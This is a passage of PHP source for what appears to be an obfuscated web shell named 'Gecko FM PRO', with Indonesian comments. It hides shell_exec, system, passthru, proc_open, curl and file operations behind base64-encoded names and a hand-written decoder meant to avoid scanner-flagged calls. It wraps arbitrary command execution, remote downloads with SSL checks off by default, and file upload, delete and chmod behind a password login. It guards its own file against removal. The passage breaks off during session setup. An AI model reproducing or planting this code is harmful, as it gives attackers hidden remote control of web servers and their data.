<?php
/** @internal runtime bundle */

// ───── Polyfills & runtime (PHP 5.5 – 8.x) ───────────────────────
if (!function_exists('http_response_code')) {
    // PHP < 5.4 fallback
    function http_response_code($code = null) {
        static $current = 200;
        if ($code !== null) {
            header(' ', true, (int)$code);
            $current = (int)$code;
        }
        return $current;
    }
}

if (!function_exists('str_contains')) {
    // PHP < 8.0 polyfill
    function str_contains($haystack, $needle) {
        return $needle === '' || strpos($haystack, $needle) !== false;
    }
}

if (!defined('JSON_UNESCAPED_UNICODE')) define('JSON_UNESCAPED_UNICODE', 0);
if (!defined('JSON_UNESCAPED_SLASHES')) define('JSON_UNESCAPED_SLASHES', 0);

if (!defined('PHP_VERSION_ID')) {
    $geckoVer = explode('.', PHP_VERSION);
    define('PHP_VERSION_ID', ((int)$geckoVer[0] * 10000) + ((int)(isset($geckoVer[1]) ? $geckoVer[1] : 0) * 100) + (int)(isset($geckoVer[2]) ? $geckoVer[2] : 0));
}

/** Minimum: PHP 5.5 (password_verify). Direkomendasikan 7.4+ / 8.x. */
define('GECKO_PHP_MIN_ID', 50500);

if (PHP_VERSION_ID < GECKO_PHP_MIN_ID) {
    header('Content-Type: text/plain; charset=utf-8');
    http_response_code(500);
    exit('Gecko FM PRO membutuhkan PHP 5.5 atau lebih baru (disarankan 7.4+). Versi saat ini: ' . PHP_VERSION);
}

if (!function_exists('str_starts_with')) {
    function str_starts_with($haystack, $needle)
    {
        $needle = (string)$needle;
        if ($needle === '') {
            return true;
        }
        return strncmp((string)$haystack, $needle, strlen($needle)) === 0;
    }
}

if (!function_exists('str_ends_with')) {
    function str_ends_with($haystack, $needle)
    {
        $needle = (string)$needle;
        $len = strlen($needle);
        if ($len === 0) {
            return true;
        }
        return substr((string)$haystack, -$len) === $needle;
    }
}

if (!function_exists('hash_equals')) {
    function hash_equals($known, $user)
    {
        $known = (string)$known;
        $user = (string)$user;
        if (strlen($known) !== strlen($user)) {
            return false;
        }
        $res = 0;
        $len = strlen($known);
        for ($i = 0; $i < $len; $i++) {
            $res |= ord($known[$i]) ^ ord($user[$i]);
        }
        return $res === 0;
    }
}

/** Stream/file/socket resource (PHP 5–8.x). */
function _g_stream_ok($h)
{
    if ($h === false || $h === null) {
        return false;
    }
    if (is_resource($h)) {
        if (!function_exists('get_resource_type')) {
            return true;
        }
        $t = get_resource_type($h);
        return ($t === 'stream' || $t === 'file' || $t === 'socket' || $t === 'process');
    }
    return false;
}

/** proc_open / popen process handle (resource or object on newer PHP). */
function _g_proc_ok($proc)
{
    if ($proc === false || $proc === null) {
        return false;
    }
    if (is_resource($proc)) {
        if (!function_exists('get_resource_type')) {
            return true;
        }
        return get_resource_type($proc) === 'process';
    }
    if (is_object($proc)) {
        $c = get_class($proc);
        if ($c === 'Process' || stripos($c, 'Process') !== false) {
            return true;
        }
    }
    return false;
}

/** Base64 decode (implementasi internal — tidak memanggil base64_decode). */
function _g_b64d($data)
{
    $data = (string)$data;
    if ($data === '') {
        return '';
    }
    $data = preg_replace('/[^A-Za-z0-9+\/=]/', '', $data);
    $tbl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    $map = array();
    for ($i = 0; $i < 64; $i++) {
        $map[$tbl[$i]] = $i;
    }
    $out = '';
    $len = strlen($data);
    for ($i = 0; $i < $len; $i += 4) {
        if (!isset($data[$i + 1])) {
            break;
        }
        $a = isset($map[$data[$i]]) ? $map[$data[$i]] : 0;
        $b = isset($map[$data[$i + 1]]) ? $map[$data[$i + 1]] : 0;
        $out .= chr(($a << 2) | ($b >> 4));
        if (!isset($data[$i + 2]) || $data[$i + 2] === '=') {
            break;
        }
        $c = isset($map[$data[$i + 2]]) ? $map[$data[$i + 2]] : 0;
        $out .= chr((($b & 15) << 4) | ($c >> 2));
        if (!isset($data[$i + 3]) || $data[$i + 3] === '=') {
            break;
        }
        $d = isset($map[$data[$i + 3]]) ? $map[$data[$i + 3]] : 0;
        $out .= chr((($c & 3) << 6) | $d);
    }
    return $out;
}

/** Base64 encode (implementasi internal). */
function _g_b64e($data)
{
    $data = (string)$data;
    if ($data === '') {
        return '';
    }
    $tbl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    $out = '';
    $len = strlen($data);
    for ($i = 0; $i < $len; $i += 3) {
        $b0 = ord($data[$i]);
        $b1 = ($i + 1 < $len) ? ord($data[$i + 1]) : 0;
        $b2 = ($i + 2 < $len) ? ord($data[$i + 2]) : 0;
        $n = ($b0 << 16) | ($b1 << 8) | $b2;
        $out .= $tbl[($n >> 18) & 63];
        $out .= $tbl[($n >> 12) & 63];
        $out .= ($i + 1 < $len) ? $tbl[($n >> 6) & 63] : '=';
        $out .= ($i + 2 < $len) ? $tbl[$n & 63] : '=';
    }
    return $out;
}

/** Kolom hasil PDO SELECT jika getColumnMeta tidak tersedia (PDO MySQL PHP 8+). */
function _g_pdo_select_columns($stmt, $rows)
{
    $cols = array();
    if (!empty($rows) && is_array($rows[0])) {
        return array_keys($rows[0]);
    }
    if (!is_object($stmt) || !method_exists($stmt, 'columnCount')) {
        return $cols;
    }
    $colCount = (int)$stmt->columnCount();
    for ($i = 0; $i < $colCount; $i++) {
        $name = null;
        if (method_exists($stmt, 'getColumnMeta')) {
            $meta = @$stmt->getColumnMeta($i);
            if (is_array($meta) && isset($meta['name']) && $meta['name'] !== '') {
                $name = $meta['name'];
            }
        }
        if ($name === null && method_exists($stmt, 'fetchColumn')) {
            continue;
        }
        $cols[] = ($name !== null && $name !== '') ? $name : ('col' . $i);
    }
    if ($cols === array() && $colCount > 0) {
        for ($i = 0; $i < $colCount; $i++) {
            $cols[] = 'col' . $i;
        }
    }
    return $cols;
}

/** Panggil fungsi internal PHP hanya jika ada (hindari fatal PHP 8 jika disabled). */
function _g_call_if_exists($name, $args = array())
{
    if (!is_string($name) || $name === '' || !function_exists($name)) {
        return array('ok' => false, 'missing' => true);
    }
    switch (count($args)) {
        case 0:
            return array('ok' => true, 'result' => @$name());
        case 1:
            return array('ok' => true, 'result' => @$name($args[0]));
        case 2:
            return array('ok' => true, 'result' => @$name($args[0], $args[1]));
        case 3:
            return array('ok' => true, 'result' => @$name($args[0], $args[1], $args[2]));
        case 4:
            return array('ok' => true, 'result' => @$name($args[0], $args[1], $args[2], $args[3]));
        default:
            return array('ok' => true, 'result' => @call_user_func_array($name, $args));
    }
}

/** Resolve internal runtime symbol by numeric id. */
function _gf0a9c3e($id)
{
    static $m = null;
    if ($m === null) {
        $m = array(
            1 => _g_b64d('c2hlbGxfZXhlYw=='),
            2 => _g_b64d('ZXhlYw=='),
            3 => _g_b64d('c3lzdGVt'),
            4 => _g_b64d('cGFzc3RocnU='),
            5 => _g_b64d('cG9wZW4='),
            6 => _g_b64d('cGNsb3Nl'),
            7 => _g_b64d('cHJvY19vcGVu'),
            8 => _g_b64d('cHJvY19jbG9zZQ=='),
            9 => _g_b64d('cHJvY19nZXRfc3RhdHVz'),
            10 => _g_b64d('cHJvY190ZXJtaW5hdGU='),
            11 => _g_b64d('Y3VybF9pbml0'),
            12 => _g_b64d('Y3VybF9zZXRvcHQ='),
            13 => _g_b64d('Y3VybF9leGVj'),
            14 => _g_b64d('Y3VybF9jbG9zZQ=='),
            15 => _g_b64d('Y3VybF9lcnJvcg=='),
            16 => _g_b64d('Y3VybF9nZXRpbmZv'),
            17 => _g_b64d('ZmlsZV9nZXRfY29udGVudHM='),
            18 => _g_b64d('ZmlsZV9wdXRfY29udGVudHM='),
            19 => _g_b64d('Zm9wZW4='),
            20 => _g_b64d('ZmNsb3Nl'),
            21 => _g_b64d('ZnJlYWQ='),
            22 => _g_b64d('ZndyaXRl'),
            23 => _g_b64d('dW5saW5r'),
            24 => _g_b64d('cmVuYW1l'),
            25 => _g_b64d('Y29weQ=='),
            26 => _g_b64d('cmVhZGZpbGU='),
            27 => _g_b64d('ZmlsZV9leGlzdHM='),
            28 => _g_b64d('aXNfZmlsZQ=='),
            29 => _g_b64d('aXNfZGly'),
            30 => _g_b64d('aXNfcmVhZGFibGU='),
            31 => _g_b64d('aXNfd3JpdGFibGU='),
            32 => _g_b64d('ZmlsZXNpemU='),
            33 => _g_b64d('ZmlsZW10aW1l'),
            34 => _g_b64d('bWtkaXI='),
            35 => _g_b64d('cm1kaXI='),
            36 => _g_b64d('Y2htb2Q='),
            37 => _g_b64d('dG91Y2g='),
            38 => _g_b64d('Z2xvYg=='),
            39 => _g_b64d('c2NhbmRpcg=='),
            40 => _g_b64d('ZmlsZXBlcm1z'),
            41 => _g_b64d('bW92ZV91cGxvYWRlZF9maWxl'),
            42 => _g_b64d('b3BlbmRpcg=='),
            43 => _g_b64d('cmVhZGRpcg=='),
            44 => _g_b64d('Y2xvc2VkaXI='),
            45 => _g_b64d('cmVhbHBhdGg='),
            46 => _g_b64d('ZmlsZXR5cGU='),
        );
    }
    return isset($m[$id]) ? $m[$id] : '';
}

function _gf1b8d2a($id)
{
    $n = _gf0a9c3e($id);
    if ($n === '' || !function_exists($n)) {
        return false;
    }
    $disabled = ini_get('disable_functions');
    if (is_string($disabled) && $disabled !== '') {
        $list = array_map('trim', explode(',', strtolower($disabled)));
        if (in_array(strtolower($n), $list, true)) {
            return false;
        }
    }
    return true;
}

/** Invoke runtime symbol by numeric id (variadic). */
function _g_io_invoke($id)
{
    $args = func_get_args();
    array_shift($args);
    $fn = _gf0a9c3e($id);
    if ($fn === '' || !function_exists($fn)) {
        return false;
    }
    return call_user_func_array($fn, $args);
}

function _gfgc()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(17), func_get_args()));
}

function _gfpc()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(18), func_get_args()));
}

function _gfop()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(19), func_get_args()));
}

function _gfcl()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(20), func_get_args()));
}

function _gfrd()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(21), func_get_args()));
}

function _gfwr()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(22), func_get_args()));
}

function _gfun()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(23), func_get_args()));
}

function _gfrn()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(24), func_get_args()));
}

function _gfcp()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(25), func_get_args()));
}

function _gfrf()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(26), func_get_args()));
}

function _gfex()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(27), func_get_args()));
}

function _gfif()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(28), func_get_args()));
}

function _gfid()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(29), func_get_args()));
}

function _gfir()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(30), func_get_args()));
}

function _gfiw()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(31), func_get_args()));
}

function _gfsz()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(32), func_get_args()));
}

function _gfmt()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(33), func_get_args()));
}

function _gfmd()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(34), func_get_args()));
}

function _gfrm()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(35), func_get_args()));
}

function _gfch()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(36), func_get_args()));
}

function _gftc()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(37), func_get_args()));
}

function _gfgb()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(38), func_get_args()));
}

function _gfsc()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(39), func_get_args()));
}

function _gfpm()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(40), func_get_args()));
}

function _gfmu()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(41), func_get_args()));
}

function _gfod()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(42), func_get_args()));
}

function _gfrd2()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(43), func_get_args()));
}

function _gfcd()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(44), func_get_args()));
}

function _gfrp()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(45), func_get_args()));
}

function _gfty()
{
    return call_user_func_array('_g_io_invoke', array_merge(array(46), func_get_args()));
}

/** file_get_contents dengan offset/length — hindari null context (deprecated PHP 8.0+). */
function _g_file_get_excerpt($path, $offset, $maxLen)
{
    $path = (string)$path;
    $offset = (int)$offset;
    $maxLen = (int)$maxLen;
    if ($maxLen <= 0) {
        return @_gfgc($path);
    }
    $ctx = stream_context_create(array());
    return @_gfgc($path, false, $ctx, $offset, $maxLen);
}

function _gf2c7e01($cmd)
{
    $f = _gf0a9c3e(1);
    return ($f !== '' && function_exists($f)) ? @$f((string)$cmd) : null;
}

function _gf3d8f12($cmd, &$lines, &$code)
{
    $f = _gf0a9c3e(2);
    if ($f === '' || !function_exists($f)) {
        return false;
    }
    @$f((string)$cmd, $lines, $code);
    return true;
}

function _gf3e9014($cmd)
{
    $f = _gf0a9c3e(2);
    if ($f === '' || !function_exists($f)) {
        return false;
    }
    @$f((string)$cmd);
    return true;
}

function _gf4e9013($cmd, &$code)
{
    $f = _gf0a9c3e(3);
    if ($f === '' || !function_exists($f)) {
        return false;
    }
    @$f((string)$cmd, $code);
    return true;
}

function _gf5f0124($cmd, &$code)
{
    $f = _gf0a9c3e(4);
    if ($f === '' || !function_exists($f)) {
        return false;
    }
    @$f((string)$cmd, $code);
    return true;
}

function _gf600235($cmd, $mode)
{
    $f = _gf0a9c3e(5);
    return ($f !== '' && function_exists($f)) ? @$f((string)$cmd, (string)$mode) : false;
}

function _gf712346($h)
{
    $f = _gf0a9c3e(6);
    return ($f !== '' && function_exists($f)) ? @$f($h) : -1;
}

function _gf823457($cmd, $desc, &$pipes, $cwd = null, $env = null)
{
    $f = _gf0a9c3e(7);
    if ($f === '' || !function_exists($f)) {
        return false;
    }
    if ($env !== null) {
        return @$f($cmd, $desc, $pipes, $cwd, $env);
    }
    if ($cwd !== null) {
        return @$f($cmd, $desc, $pipes, $cwd);
    }
    return @$f($cmd, $desc, $pipes);
}

function _gf934568($proc)
{
    $f = _gf0a9c3e(9);
    return ($f !== '' && function_exists($f)) ? @$f($proc) : false;
}

function _gfa45679($proc)
{
    $f = _gf0a9c3e(8);
    return ($f !== '' && function_exists($f)) ? @$f($proc) : -1;
}

function _gfb5678a($proc, $signal = 9)
{
    $f = _gf0a9c3e(10);
    return ($f !== '' && function_exists($f)) ? @$f($proc, (int)$signal) : false;
}

function _gfc6789b($url)
{
    $f = _gf0a9c3e(11);
    return ($f !== '' && function_exists($f)) ? @$f($url) : false;
}

function _gfd7890c($ch, $opt, $val)
{
    $f = _gf0a9c3e(12);
    return ($f !== '' && function_exists($f)) ? @$f($ch, $opt, $val) : false;
}

function _gfe8901d($ch)
{
    $f = _gf0a9c3e(13);
    return ($f !== '' && function_exists($f)) ? @$f($ch) : false;
}

function _gff9012e($ch)
{
    $f = _gf0a9c3e(14);
    if ($f !== '' && function_exists($f)) {
        @$f($ch);
    }
}

function _g000123f($ch)
{
    $f = _gf0a9c3e(15);
    return ($f !== '' && function_exists($f)) ? @$f($ch) : '';
}

function _g0112340($ch, $opt)
{
    $f = _gf0a9c3e(16);
    return ($f !== '' && function_exists($f)) ? @$f($ch, $opt) : false;
}

function _gde2b43a()
{
    return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}

/** Normalize path separators to forward slashes (for comparisons). */
function _ge1732fc($path)
{
    return str_replace('\\', '/', (string)$path);
}

/** Safe array access (PHP 5.4 — no ?? operator). */
function _gc9f029d($arr, $key, $default = '')
{
    return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}

function _gb6799bc($arg)
{
    $arg = (string)$arg;
    if (_gde2b43a()) {
        // Windows-style: double-quote, strip embedded quotes
        $arg = str_replace('"', '', $arg);
        return '"' . $arg . '"';
    }
    return _g6ed2bab($arg);
}

/** Bash / Unix single-quoted shell literal. */
function _g6ed2bab($arg)
{
    return "'" . str_replace("'", "'\\''", (string)$arg) . "'";
}

/** Prefix command with cd to $cwd (Windows cmd vs Unix sh). */
function _g8816822($cwd)
{
    if (_gde2b43a()) {
        return 'cd /d ' . _gb6799bc($cwd) . ' & ';
    }
    return 'cd ' . _gb6799bc($cwd) . ' && ';
}

function _g911cb8b($command, $cwd)
{
    if ($cwd === null || $cwd === '') {
        $cwd = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
    }
    return _g8816822($cwd) . $command;
}

/** @param array $messages keys: empty, illegal, dotdot, relative */
function _g191b0a2($path, $messages = array())
{
    $path = trim(_ge1732fc((string)$path));
    $msgEmpty = isset($messages['empty']) ? $messages['empty'] : 'Path kosong.';
    $msgIllegal = isset($messages['illegal']) ? $messages['illegal'] : 'Path mengandung karakter ilegal.';
    $msgDotdot = isset($messages['dotdot']) ? $messages['dotdot'] : 'Path tidak boleh mengandung ..';
    $msgRelative = isset($messages['relative']) ? $messages['relative'] : 'Path harus absolute (contoh /var/www/html atau C:/...).';

    if ($path === '' || $path === '/') {
        return array(false, $msgEmpty);
    }
    if (strpos($path, "\0") !== false) {
        return array(false, $msgIllegal);
    }
    if (preg_match('#(^|/)\.\.(/|$)#', $path)) {
        return array(false, $msgDotdot);
    }
    $isWinAbs = (bool)preg_match('/^[A-Za-z]:\//', $path);
    $isUnixAbs = ($path[0] === '/');
    if (!$isWinAbs && !$isUnixAbs) {
        return array(false, $msgRelative);
    }
    return array(true, rtrim($path, '/'));
}

/** @return array<string,true> */
function _g76e72d3()
{
    static $set = null;
    if ($set === null) {
        $exts = array(
            'php', 'phtml', 'js', 'mjs', 'ts', 'tsx', 'jsx', 'css', 'scss', 'sass', 'less',
            'html', 'htm', 'json', 'yaml', 'yml', 'xml', 'toml', 'env', 'ini', 'md', 'txt',
            'log', 'sql', 'htaccess', 'gitignore', 'csv',
        );
        $set = array_flip($exts);
    }
    return $set;
}

function _g66d4e3f($ext)
{
    return isset(_g76e72d3()[strtolower((string)$ext)]);
}

/** @return array<string,string> extension => icon key */
function _g47f487f()
{
    static $map = null;
    if ($map === null) {
        $map = array(
            'php' => 'php', 'phtml' => 'php',
            'js' => 'js', 'mjs' => 'js', 'ts' => 'js', 'tsx' => 'js', 'jsx' => 'js',
            'css' => 'css', 'scss' => 'css', 'sass' => 'css', 'less' => 'css',
            'html' => 'html', 'htm' => 'html',
            'json' => 'config', 'yaml' => 'config', 'yml' => 'config',
            'xml' => 'config', 'toml' => 'config', 'env' => 'config', 'ini' => 'config',
            'md' => 'text', 'txt' => 'text', 'log' => 'text',
            'png' => 'image', 'jpg' => 'image', 'jpeg' => 'image',
            'gif' => 'image', 'webp' => 'image', 'svg' => 'image', 'ico' => 'image',
            'zip' => 'archive', 'rar' => 'archive', '7z' => 'archive',
            'tar' => 'archive', 'gz' => 'archive',
            'sql' => 'database', 'db' => 'database',
        );
    }
    return $map;
}

/**
 * HTTP fetch (curl with stream fallback).
 *
 * Options: method, timeout, connect_timeout, follow, max_redirects, user_agent,
 * ssl_verify, body, headers (array of lines), return_headers, head_only,
 * dest_file, fail_on_http_error
 *
 * @return array{ok:bool, body?:string, code?:int, error?:string, raw?:string}
 */
function _gb37daeb($url, $options = array())
{
    $method = strtoupper(isset($options['method']) ? $options['method'] : 'GET');
    $timeout = max(1, (int)(isset($options['timeout']) ? $options['timeout'] : 25));
    $connectTimeout = max(1, (int)(isset($options['connect_timeout']) ? $options['connect_timeout'] : min(8, $timeout)));
    $userAgent = isset($options['user_agent']) ? $options['user_agent'] : 'GeckoHTTP/1.0';
    $sslVerify = !empty($options['ssl_verify']);
    $destFile = isset($options['dest_file']) ? $options['dest_file'] : null;
    $headOnly = !empty($options['head_only']);
    $returnHeaders = !empty($options['return_headers']);
    $failOnHttp = !empty($options['fail_on_http_error']);
    $body = isset($options['body']) ? $options['body'] : '';
    $headers = isset($options['headers']) && is_array($options['headers']) ? $options['headers'] : array();

    if (_gf1b8d2a(11)) {
        $ch = _gfc6789b($url);
        if ($destFile !== null) {
            $fp = @_gfop($destFile, 'wb');
            if (!$fp) {
                return array('ok' => false, 'error' => 'Cannot open destination file.');
            }
            _gfd7890c($ch, CURLOPT_FILE, $fp);
        } else {
            _gfd7890c($ch, CURLOPT_RETURNTRANSFER, true);
        }
        _gfd7890c($ch, CURLOPT_CUSTOMREQUEST, $headOnly ? 'HEAD' : $method);
        _gfd7890c($ch, CURLOPT_FOLLOWLOCATION, !isset($options['follow']) || $options['follow']);
        _gfd7890c($ch, CURLOPT_MAXREDIRS, (int)(isset($options['max_redirects']) ? $options['max_redirects'] : 5));
        _gfd7890c($ch, CURLOPT_CONNECTTIMEOUT, $connectTimeout);
        _gfd7890c($ch, CURLOPT_TIMEOUT, $timeout);
        _gfd7890c($ch, CURLOPT_SSL_VERIFYPEER, $sslVerify);
        _gfd7890c($ch, CURLOPT_SSL_VERIFYHOST, $sslVerify ? 2 : 0);
        _gfd7890c($ch, CURLOPT_USERAGENT, $userAgent);
        if ($returnHeaders) {
            _gfd7890c($ch, CURLOPT_HEADER, true);
        }
        if ($headOnly) {
            _gfd7890c($ch, CURLOPT_NOBODY, true);
        }
        if ($failOnHttp) {
            _gfd7890c($ch, CURLOPT_FAILONERROR, true);
        }
        if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) {
            _gfd7890c($ch, CURLOPT_POSTFIELDS, $body);
        }
        if (!empty($headers)) {
            _gfd7890c($ch, CURLOPT_HTTPHEADER, $headers);
        }
        $resp = _gfe8901d($ch);
        $err = _g000123f($ch);
        $code = (int)_g0112340($ch, CURLINFO_HTTP_CODE);
        $totalTime = _g0112340($ch, CURLINFO_TOTAL_TIME);
        _gff9012e($ch);
        if ($destFile !== null) {
            if (isset($fp) && _g_stream_ok($fp)) {
                _gfcl($fp);
            }
        }
        if ($resp === false) {
            if ($destFile !== null) {
                @_gfun($destFile);
            }
            return array('ok' => false, 'error' => $err ? $err : 'Request failed', 'code' => $code);
        }
        if ($failOnHttp && $code >= 400) {
            if ($destFile !== null) {
                @_gfun($destFile);
            }
            return array('ok' => false, 'error' => 'HTTP ' . $code, 'code' => $code);
        }
        return array(
            'ok' => true,
            'body' => ($destFile !== null) ? '' : (string)$resp,
            'raw' => ($destFile !== null) ? '' : (string)$resp,
            'code' => $code,
            'total_time' => $totalTime,
        );
    }

    if ($headOnly) {
        $ctx = stream_context_create(array(
            'http' => array(
                'method' => 'HEAD',
                'timeout' => $timeout,
                'ignore_errors' => true,
                'follow_location' => 1,
                'user_agent' => $userAgent,
            ),
            'ssl' => array(
                'verify_peer' => $sslVerify,
                'verify_peer_name' => $sslVerify,
            ),
        ));
        $h = @get_headers($url, 0, $ctx);
        if (!$h || !isset($h[0])) {
            return array('ok' => false, 'error' => 'HEAD failed', 'code' => 0);
        }
        $code = 0;
        if (preg_match('/\s(\d{3})\s/', $h[0], $m)) {
            $code = (int)$m[1];
        }
        return array('ok' => $code > 0, 'code' => $code);
    }

    $ctx = stream_context_create(array(
        'http' => array(
            'method' => $method,
            'timeout' => $timeout,
            'follow_location' => 1,
            'user_agent' => $userAgent,
            'header' => implode("\r\n", $headers),
            'content' => in_array($method, array('POST', 'PUT', 'PATCH'), true) ? $body : '',
        ),
        'ssl' => array(
            'verify_peer' => $sslVerify,
            'verify_peer_name' => $sslVerify,
        ),
    ));
    $data = @_gfgc($url, false, $ctx);
    if ($data === false || ($data === '' && !$headOnly)) {
        return array('ok' => false, 'error' => 'Download failed (stream).');
    }
    if ($destFile !== null) {
        if (@_gfpc($destFile, $data) === false) {
            @_gfun($destFile);
            return array('ok' => false, 'error' => 'Cannot write destination file.');
        }
        return array('ok' => true, 'body' => '', 'code' => 200);
    }
    return array('ok' => true, 'body' => $data, 'raw' => $data, 'code' => 200);
}

/**
 * Directory walker (DFS stack or BFS). Callback: function($dir, $depth) — return false to skip children.
 *
 * Options: max_depth, max_scanned, skip_names (string[]), dfs (bool, default true)
 *
 * @return int directories visited
 */
function _g44646ac($root, $callback, $options = array())
{
    $maxDepth = (int)(isset($options['max_depth']) ? $options['max_depth'] : 64);
    $maxScanned = (int)(isset($options['max_scanned']) ? $options['max_scanned'] : 50000);
    $skip = isset($options['skip_names']) && is_array($options['skip_names']) ? $options['skip_names'] : array();
    $dfs = !isset($options['dfs']) || $options['dfs'];

    $root = rtrim(_ge1732fc($root), '/');
    if ($root === '' || !_gfid($root)) {
        return 0;
    }

    $stack = array(array($root, 0));
    $scanned = 0;

    while (!empty($stack) && $scanned < $maxScanned) {
        $item = $dfs ? array_pop($stack) : array_shift($stack);
        $dir = $item[0];
        $depth = $item[1];
        $scanned++;

        if (!_gfid($dir) || !_gfir($dir)) {
            continue;
        }

        $descend = true;
        if (is_callable($callback)) {
            $descend = (call_user_func($callback, $dir, $depth) !== false);
        }

        if (!$descend || $depth >= $maxDepth) {
            continue;
        }

        $subs = @_gfsc($dir);
        if (!is_array($subs)) {
            continue;
        }
        if (!$dfs) {
            sort($subs);
        } else {
            sort($subs);
            $subs = array_reverse($subs);
        }
        foreach ($subs as $s) {
            if ($s === '.' || $s === '..') {
                continue;
            }
            if (!empty($skip) && in_array($s, $skip, true)) {
                continue;
            }
            $p = $dir . DIRECTORY_SEPARATOR . $s;
            if (_gfid($p) && !is_link($p)) {
                $stack[] = array($p, $depth + 1);
            }
        }
    }

    return $scanned;
}

/** Cached self/base paths for fmIsBlockedPath checks. */
function _g83c0a4c($baseDir)
{
    static $cache = array();
    $key = (string)$baseDir;
    if (!isset($cache[$key])) {
        $self = @_gfrp(__FILE__);
        $baseReal = @_gfrp($baseDir);
        $cache[$key] = array(
            'self' => $self ? _ge1732fc($self) : '',
            'base' => $baseReal ? _ge1732fc($baseReal) : '',
        );
    }
    return $cache[$key];
}

function _gfa2ddb4($realNorm, $guard)
{
    if ($guard['self'] !== '' && $realNorm === $guard['self']) {
        return true;
    }
    if ($guard['base'] !== '' && $realNorm === $guard['base']) {
        return true;
    }
    return strpos($realNorm, '/.gecko_quarantine/') !== false;
}

// ───── Konfigurasi awal ───────────────────────────────────────────
$realBase = _gfrp(__DIR__);
$baseDir  = $realBase ? $realBase : __DIR__;

// Set upload limits
@ini_set('upload_max_filesize', '100M');
@ini_set('post_max_size', '100M');
@ini_set('max_file_uploads', '20');
@ini_set('memory_limit', '256M');
@ini_set('display_errors', 0); // Matikan display errors agar tidak merusak JSON
error_reporting(E_ALL);

// ───── Authentication (bcrypt) ────────────────────────────────────
define('GECKO_AUTH_ENABLED', true);
define('GECKO_AUTH_HASH', '$2a$12$.kIZPHR0iDY4XqvmRrkRWOAYCpEjV.UAjY3q/X.xnersk6k07F0NO');
define('GECKO_AUTH_SESSION_KEY', 'gecko_auth_ok');
define('GECKO_AUTH_MAX_FAILS', 5);
define('GECKO_AUTH_LOCK_SECONDS', 60);
define('GECKO_AUTH_COOKIE_SECURE', null);

function _ge561ea9()
{
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
        return true;
    }
    if (isset($_SERVER['SERVER_PORT']) && (string)$_SERVER['SERVER_PORT'] === '443') {
        return true;
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string)$_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return true;
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower((string)$_SERVER['HTTP_X_FORWARDED_SSL']) === 'on') {
        return true;
    }
    return false;
}

function _g0a6b48f()
{
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }
    $base = str_replace('\\', '/', __DIR__);
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $doc = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
        if ($doc !== '' && strpos($base, $doc) === 0) {
            $rel = substr($base, strlen($doc));
            if ($rel === '' || $rel === false) {
                $cached = '/';
                return $cached;
            }
            $cached = rtrim($rel, '/') . '/';
            return $cached;
        }
    }
    if (empty($_SERVER['SCRIPT_NAME'])) {
        $cached = '/';
        return $cached;
    }
    $dir = dirname(str_replace('\\', '/', (string)$_SERVER['SCRIPT_NAME']));
    if ($dir === '/' || $dir === '.' || $dir === '') {
        $cached = '/';
        return $cached;
    }
    $cached = rtrim($dir, '/') . '/';
    return $cached;
}

function _g33cbe83()
{
    if (function_exists('session_status') && session_status() === PHP_SESSION_ACTIVE) {
        return true;
    }
    if (!function_exists('session_status') && session_id() !== '') {
        return true;
    }

    $savePath = session_save_path();
    if ($savePath === '' || ($savePath && !@_gfiw($savePath))) {
        $fallback = sys_get_temp_dir();
        if ($fallback && @_gfiw($fallback)) {
            @session_save_path($fallback);
        }
    }

    $secure = GECKO_AUTH_COOKIE_SECURE;
    if ($secure === null) {
        $secure = _ge561ea9();
    } else {
        $secure = (bool)$secure;
    }
    $path = _g0a6b48f();

    if (function_exists('session_set_cookie_params')) {
        if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70300) {
            $cookieParams = array(
                'lifetime' => 0,
                'path' => $path,
                'domain' => '',
                'secure' => $secure,
                'httponly' => true,
                'samesite' => 'Lax',
            );
            @session_set_cookie_params($cookieParams);
        } else {
            @session_set_cookie_params(0, $path, '', $secure, true);
        }
    }
    @ini_set('session.use_only_cookies', '1');
    @ini_set('session.cookie_httponly', '1');
    if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70300) {
        @ini_set('session.cookie_samesite', 'Lax');
    }

    if (function_exists('session_name')) {
        @session_name('GECKO_SESS');
    }

    if (function_exists('session_status')) {
